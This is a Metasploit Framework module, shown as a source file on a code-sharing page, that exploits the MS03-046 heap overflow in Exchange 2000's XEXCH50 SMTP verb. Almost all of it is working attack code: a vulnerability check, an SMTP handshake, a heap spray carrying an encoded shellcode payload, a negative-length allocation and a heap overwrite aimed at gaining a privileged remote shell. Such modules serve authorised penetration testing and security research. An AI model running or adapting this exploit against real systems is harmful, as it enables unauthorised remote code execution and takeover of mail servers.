Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb
21628 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'MS03-046 Exchange 2000 XEXCH50 Heap Overflow',
16
'Description' => %q{
17
This is an exploit for the Exchange 2000 heap overflow. Due
18
to the nature of the vulnerability, this exploit is not very
19
reliable. This module has been tested against Exchange 2000
20
SP0 and SP3 running a Windows 2000 system patched to SP4. It
21
normally takes between one and 100 connection attempts to
22
successfully obtain a shell. This exploit is *very* unreliable.
23
},
24
'Author' => [
25
'hdm', # original module
26
'aushack', # msf3 port :)
27
],
28
'References' => [
29
[ 'CVE', '2003-0714' ],
30
[ 'BID', '8838' ],
31
[ 'OSVDB', '2674' ],
32
[ 'MSB', 'MS03-046' ],
33
[ 'EDB', '113' ],
34
],
35
'DefaultOptions' => {
36
'EXITFUNC' => 'seh',
37
},
38
'Platform' => 'win',
39
'Privileged' => true,
40
'Payload' => {
41
'Space' => 1024,
42
'BadChars' => "\x00\x0a\x0d\x20:=+\x22",
43
'StackAdjustment' => -3500,
44
},
45
'Targets' => [
46
[ 'Exchange 2000', { 'Ret' => 0x0c900c90, 'BuffLen' => 3000, 'Offset1' => 11000, 'Offset2' => 512 } ],
47
],
48
'DefaultTarget' => 0,
49
'DisclosureDate' => '2003-10-15',
50
'Notes' => {
51
'Reliability' => UNKNOWN_RELIABILITY,
52
'Stability' => UNKNOWN_STABILITY,
53
'SideEffects' => UNKNOWN_SIDE_EFFECTS
54
}
55
)
56
)
57
58
register_options(
59
[
60
Opt::RPORT(25),
61
OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', '[email protected]']),
62
OptString.new('MAILTO', [ true, 'The TO address of the e-mail', 'administrator']),
63
OptInt.new('ATTEMPTS', [ true, 'The number of exploit attempts before halting', 100]),
64
]
65
)
66
end
67
68
def check
69
connect
70
banner = sock.get_once || ''
71
72
if (banner !~ /Microsoft/)
73
print_status("Target does not appear to be an Exchange server.")
74
return Exploit::CheckCode::Safe
75
end
76
77
sock.put("EHLO #{Rex::Text.rand_text_alpha(1)}\r\n")
78
res = sock.get_once || ''
79
if (res !~ /XEXCH50/)
80
print_status("Target does not appear to be an Exchange server.")
81
return Exploit::CheckCode::Safe
82
end
83
sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")
84
res = sock.get_once || ''
85
86
if (res =~ /Sender OK/)
87
sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")
88
res = sock.get_once || ''
89
if (res =~ /250/)
90
sock.put("XEXCH50 2 2\r\n")
91
res = sock.get_once || ''
92
if (res !~ /Send binary data/)
93
print_error("Target has been patched!")
94
return Exploit::CheckCode::Detected
95
else
96
return Exploit::CheckCode::Appears
97
end
98
end
99
end
100
101
disconnect
102
end
103
104
def smtp_setup(count)
105
print_status("Exploit attempt ##{count}")
106
107
connect
108
select(nil, nil, nil, 1)
109
banner = sock.get_once || ''
110
print_status("Connected to SMTP server: #{banner.to_s}")
111
112
if (banner !~ /Microsoft/)
113
print_status("Target does not appear to be running Exchange.")
114
return
115
end
116
117
select(nil, nil, nil, 5)
118
sock.put("EHLO X\r\n")
119
select(nil, nil, nil, 7)
120
res = sock.get_once || ''
121
122
if (res !~ /XEXCH50/)
123
print_status("Target is not running Exchange.")
124
return
125
end
126
127
sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")
128
select(nil, nil, nil, 3)
129
130
sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")
131
select(nil, nil, nil, 3)
132
end
133
134
def exploit
135
bufflen = target['BuffLen']
136
print_status("Trying to exploit #{target.name} with address 0x%.8x..." % target['Ret'])
137
count = 1 # broke
138
139
begin
140
if (count > datastore['ATTEMPTS'])
141
print_error("Exploit failed after #{datastore['ATTEMPTS']}. Set ATTEMPTS to a higher value if desired.")
142
return # Stop after a specified number of attempts.
143
end
144
145
if (session_created?)
146
return # Stop the attack. Non-session payloads will continue regardless up to ATTEMPTS.
147
end
148
149
while (true)
150
if (smtp_setup(count))
151
print_status("Connection 1: ")
152
end
153
154
sock.put("XEXCH50 2 2\r\n")
155
select(nil, nil, nil, 3)
156
res = sock.get_once
157
print_status("#{res}")
158
if (res !~ /Send binary data/)
159
print_status("Target is not vulnerable.")
160
return # commented out for the moment
161
end
162
163
sock.put("XX")
164
165
print_status("ALLOC")
166
167
size = 1024 * 1024 * 32
168
169
sock.put("XEXCH50 #{size} 2\r\n")
170
select(nil, nil, nil, 3)
171
172
sploit = (([target['Ret']].pack('V')) * 256 * 1024 + payload.encoded + ("X" * 1024)) * 4 + "BEEF"
173
174
print_status("Uploading shellcode to remote heap.")
175
176
if (sock.put(sploit))
177
print_status("\tOK.")
178
end
179
180
print_status("Connection 2: ")
181
smtp_setup(count) # Connection 2
182
183
sock.put("XEXCH50 -1 2\r\n") # Allocate negative value
184
select(nil, nil, nil, 2)
185
res = sock.get_once || ''
186
187
if (!res)
188
print_error("Error - no response")
189
end
190
191
print_status("OK")
192
193
bufflen += target['Offset2']
194
195
if (bufflen > target['Offset1'])
196
bufflen = target['BuffLen']
197
end
198
199
heapover = [target['Ret']].pack('V') * bufflen
200
print_status("Overwriting heap with payload jump (#{bufflen})")
201
sock.put(heapover)
202
203
print_status("Starting reconnect sequences...")
204
205
10.times do |x|
206
print_status("Connect #{x}")
207
connect
208
sock.put("HELO X\r\n")
209
disconnect
210
end
211
end
212
rescue
213
print_status("Unable to connect or Exchange has crashed... Retrying.")
214
count += 1
215
retry
216
end
217
218
disconnect
219
end
220
end
221
222